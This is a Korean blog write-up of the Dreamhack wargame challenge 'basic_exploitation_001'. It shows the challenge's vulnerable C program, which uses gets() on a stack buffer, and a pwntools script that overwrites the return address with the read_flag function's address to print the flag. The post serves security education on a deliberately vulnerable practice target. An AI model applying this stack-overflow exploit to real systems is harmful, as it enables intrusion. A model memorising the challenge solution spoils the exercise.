서브웨이

dreamhack basic_exploitation_001 풀이 본문

Pwnable/dreamhack

dreamhack basic_exploitation_001 풀이

샌드위치메이커 2021. 7. 19. 17:06

바로 다음 문제를 풀어봅시다.

아까와 같은 형태의 문제네요.

 

일단 소스코드를 열어봅시다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

basic_exploitation_000 문제와 비슷하지만, 이번 문제에서는 아예 플래그를 출력하는 함수가 존재합니다.

어차피 스택 형태는 다음과 같으므로 132바이트를 더미로 채우고 마지막 4바이트에 read_flag 함수의 주소를 입력하면 될 듯 합니다.

 

read_flag 함수의 주소는 다음과 같이 찾아줍니다.

간단하게 0x080485b9라는 것을 알 수 있습니다.

 

그럼 익스플로잇 코드는 다음과 같이 구성합니다.

from pwn import * 

p = remote('host1.dreamhack.games', PORT)
adr = 0x80485b9

payload = b'\x80'*132
payload += p32(adr)
p.send(payload)

p.interactive()

'Pwnable > dreamhack' 카테고리의 다른 글

dreamhack off_by_one_000 풀이  (0) 2021.07.27
dreamhack welcome 풀이  (0) 2021.07.20
dreamhack basic_exploitation_003 풀이  (0) 2021.07.20
dreamhack basic_exploitation_002 풀이  (0) 2021.07.20
dreamhack basic_exploitation_000 풀이  (0) 2021.07.19
Comments